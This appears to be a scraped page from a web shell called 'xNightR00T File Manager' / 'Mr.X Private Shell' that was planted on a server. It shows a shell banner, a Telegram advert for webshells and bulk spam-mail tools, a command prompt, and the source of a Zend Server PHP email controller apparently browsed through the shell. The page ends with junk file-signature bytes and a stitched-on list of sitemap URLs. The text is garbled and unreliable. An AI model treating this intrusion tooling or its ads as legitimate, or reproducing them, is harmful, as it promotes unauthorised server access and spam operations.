xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Email\Controller;

use Zend\Mail\AddressList;
use Zend\Mail\Transport;
use Zend\Mail\Message;
use Zend\View\Model\ViewModel;
use Zend\Mime\Part as MimePart,
    Zend\Mime\Message as MimeMessage;
use ZendServer\Mvc\Controller\WebAPIActionController,
    ZendServer\Log\Log,
    Application\Module,
    WebAPI;
use Notifications\NotificationContainer;
use Zend\Uri\UriFactory;
use WebAPI\Exception;
use Zend\Uri\Http;

class WebAPIController extends WebAPIActionController
{

    /**
     * Send emails. The emails are sent from the UI. 
     * This is usually used internally by the daemons and Zend's modules.
     * The email server is configured from the UI, under administration section
     * 
     * @api
     * @name emailSend
     * @section Administration
     * @version 1.3
     * @editions All
     * @param string templateName Requried. The email plugin name
     * @param string to Requried. The receipant
     * @param string toName The name of the receipant
     * @param string from Requried. The sender
     * @param string fromName The name of the sender
     * @param string subject Requried. The email subject
     * @param string replyTo Reply to email
     * @param array headers list of extra headers
     * @param array templateParams Parameters to the template
     * @param bool html Is the email of type HTML
     * @response {}
     * 
     * @return  
     */
    public function emailSendAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(array(
            'templateName' => '',
            'to' => '',
            'toName' => '',
            'from' => '',
            'fromName' => '',
            'subject' => _t('Welcome Email'),
            'replyTo' => '',
            'headers' => array(),
            'templateParams' => array(),
            'html' => 'TRUE'
        ));

        $this->validateMandatoryParameters($params, array('templateName', 'to', 'from', 'subject'));
        $this->validateEmailString($params['to'], 'to');
        $this->validateEmailAddress($params['from'], 'from');
        $this->validateString($params['subject'], 'subject');
        $useHtml = $this->validateBoolean($params['html'], 'html');

        $resolver = $this->getLocator('Zend\View\Resolver\TemplatePathStack'); /* @var $resolver \Zend\View\Resolver\TemplatePathStack */

        // Store the default suffix and paths to be able to render json/xml later on
        $defaultSuffix = $resolver->getDefaultSuffix();
        $paths         = $resolver->getPaths();

        $resolver->setDefaultSuffix('phtml');
        $resolver->setPaths(array($this->getTemplatePath(Module::config('mail', 'templatePath'))));

        $renderer = $this->getLocator('Zend\View\Renderer\PhpRenderer'); /* @var $renderer \Zend\View\Renderer\PhpRenderer */
        $renderer->setResolver($resolver);

        // get the email plugin name and call the controlled plugin with the request parameters
        // the result is merged into the params array
        $emailPluginName = $params['templateName'].'Email';
        if ($this->getPluginManager()->has($emailPluginName)) {
            $emailPlugin = $this->getPluginManager()->get($emailPluginName);
            try {
                $params['templateParams'] = array_merge($params['templateParams'],
                    $emailPlugin($params['templateParams']));
            } catch (\Exception $ex) {
                // Get back the default suffix and paths to render WebAPI json/xml template
                $resolver->setDefaultSuffix($defaultSuffix);
                $resolver->setPaths($paths);
                $renderer->setResolver($resolver);
                throw new Exception(vsprintf('Email content rendering failed: %s', array($ex->getMessage())),
                Exception::INTERNAL_SERVER_ERROR, $ex);
            }
        }

        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */
        $guiHostName      = $directivesMapper->selectSpecificDirectives(array('zend_monitor.gui_host_name'));
        $guiHostName      = $guiHostName->current()->getValue();

        if (empty($guiHostName)) {
            $guiHostName = '127.0.0.1';
        }

        $uri = UriFactory::factory($guiHostName, 'http');

        if (!$uri->isAbsolute()) {
            $uri->setHost($guiHostName);
        }

        if (is_null($uri->getScheme())) {
            $uri->setScheme('http');
        }

        if ($uri->getScheme() == 'https') {
            $uri->setPort(Module::config('installation', 'securedPort'));
        } else {
            $uri->setPort(Module::config('installation', 'defaultPort'));
        }

        $uri->setPath(Module::config('baseUrl'));

        // create external url
        $baseUrl                  = $uri->toString();
        $params['templateParams'] = array_merge($params['templateParams'],
            array(
            'baseUrl' => $baseUrl,
            'environmentName' => (Module::config('server', 'zend_gui', 'environmentName') ?? ''),
            'environmentColor' => (Module::config('server', 'zend_gui', 'environmentColor') ?? ''),
        ));

        // render the main content
        $vsModel     = new ViewModel();
        $vsModel->setTemplate($params['templateName']);
        $vsModel->setVariables($params['templateParams']);
        $mainContent = $renderer->render($vsModel);

        // render the layout
        $vsLayout = new ViewModel();
        $vsLayout->setTemplate('layout.phtml');
        $vsLayout->setVariable('content', $mainContent);


        try {
            $body = $renderer->render($vsLayout);
        } catch (\Exception $ex) {
            // Get back the default suffix and paths to render WebAPI json/xml template
            $resolver->setDefaultSuffix($defaultSuffix);
            $resolver->setPaths($paths);
            $renderer->setResolver($resolver);
            throw new Exception(vsprintf('Email content rendering failed: %s', array($ex->getMessage())),
            Exception::INTERNAL_SERVER_ERROR, $ex);
        }
        $subject = $renderer->emailSubject()->getStoredSubject();
        if (!$subject) {
            $subject = $params['subject'];
        }
        $subject = '[Zend Server] '.$subject;

        // Get back the default suffix and paths to render WebAPI json/xml template
        $resolver->setDefaultSuffix($defaultSuffix);
        $resolver->setPaths($paths);
        $renderer->setResolver($resolver);

        // use html content
        if ($useHtml) {
            $html       = new MimePart($body);
            $html->type = "text/html";
            $body       = new MimeMessage();
            $body->setParts(array($html));
        }

        $message = new Message();
        $message->setBody($body);

        // support email or AddressList
        $addressList = new AddressList();
        if (strstr($params['to'], ',')) {
            $emails = explode(',', $params['to']);
            $emails = array_map("trim", $emails);
            $message->setTo($emails, $params['toName']);
        } else {
            $message->setTo($params['to'], $params['toName']);
        }

        $message->setFrom($params['from'], $params['fromName']);
        $message->setSubject($subject);
        if ($params['replyTo']) {
            $message->setReplyTo($params['replyTo']);
        } elseif (Module::config('mail', 'return_to_address')) {
            $message->setReplyTo(Module::config('mail', 'return_to_address'));
        }
        if ($params['headers']) {
            $headers = $message->getHeaders();

            foreach ($params['headers'] as $header) {
                $headers->addHeaderLine($header);
            }
            $message->setHeaders($headers);
        }

        if (($mailType = Module::config('mail', 'mail_type')) == 'smtp') {
            try {
                if (!Module::config('mail', 'mail_host')) {
                    Log::err('The SMTP host is missing');
                    throw new WebAPI\Exception('The SMTP host is missing', WebAPI\Exception::SMTP_HOST_IS_MISSING);
                }
                if (!Module::config('mail', 'mail_port')) {
                    Log::err('The SMTP port is missing');
                    throw new WebAPI\Exception('The SMTP port is missing', WebAPI\Exception::SMTP_PORT_IS_MISSING);
                }
                if (!Module::config('mail', 'authentication_method')) {
                    Log::err('The SMTP authentication method is missing');
                    throw new WebAPI\Exception('The SMTP authentication method is missing',
                    WebAPI\Exception::SMTP_AUTHENTICATION_METHOD_IS_MISSING);
                }
            } catch (WebAPI\Exception $ex) {
                $this->getNotificationsMapper()->insertNotification(NotificationContainer::TYPE_MAIL_SETTINGS_NOT_SET);
                throw $ex;
            }
            $transport = new Transport\Smtp();

            $options = array(
                'host' => Module::config('mail', 'mail_host'),
                'port' => Module::config('mail', 'mail_port'),
            );

            $conConf = array();
            if (Module::config('mail', 'authentication')) {
                $options['connection_class'] = Module::config('mail', 'authentication_method');

                // decrypt the password
                $rawMailPassword       = Module::config('mail', 'mail_password');
                $decryptedMailPassword = \ZendServer\Utils\Encryption::decrypt($rawMailPassword);

                // if decryption failed, the password is probably stored in raw (backwards compatibility)
                if (!$decryptedMailPassword) {
                    $decryptedMailPassword = $rawMailPassword;
                }

                $conConf = array(
                    'username' => Module::config('mail', 'mail_username'),
                    'password' => $decryptedMailPassword,
                );

                if (in_array(Module::config('mail', 'mail_ssl'), array('ssl', 'tls'))) {
                    $conConf['ssl'] = Module::config('mail', 'mail_ssl');
                }
            }

            $smtpOption = new Transport\SmtpOptions($options);

            $smtpOption->setConnectionConfig($conConf);
            $transport->setOptions($smtpOption);
        } else if (($mailType = Module::config('mail', 'mail_type')) == 'sendmail') {
            $transport = new Transport\Sendmail();
        } else {
            Log::err('Unknown transport type');
            throw new WebAPI\Exception('Unknown transport type', WebAPI\Exception::EMAIL_SEND_TRANSPORT_IS_MISSING);
        }

        try {
            $transport->send($message);
            Log::info("Sent email message with type {$mailType}");
        } catch (\Exception $e) {
            Log::info("Email sending failed");
            Log::debug($e);
            throw new WebAPI\Exception("Error occured, response from mail server:<br/>".$e->getMessage(),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $viewModel = new ViewModel();
        $viewModel->setTemplate('email/web-api/1x3/email-send');
        $viewModel->setVariable('status', 'OK');
        return $viewModel;
    }

    protected function getTemplatePath($path)
    {
        if (realpath($path)) {
            return $path;
        }

        return ZEND_SERVER_GUI_PATH.DIRECTORY_SEPARATOR.$path; // relative path
    }

    protected function validateEmailString($value, $key)
    {
        if (strstr($value, ',')) {
            $emails = explode(',', $value);
            foreach ($emails as $email) {
                if ($email) {
                    $this->validateEmailAddress(trim($email), $key);
                }
            }
        } else {
            $this->validateEmailAddress($value, $key);
        }
    }
}

Filemanager

Name Type Size Permission Actions
WebAPIController.php File 11.61 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml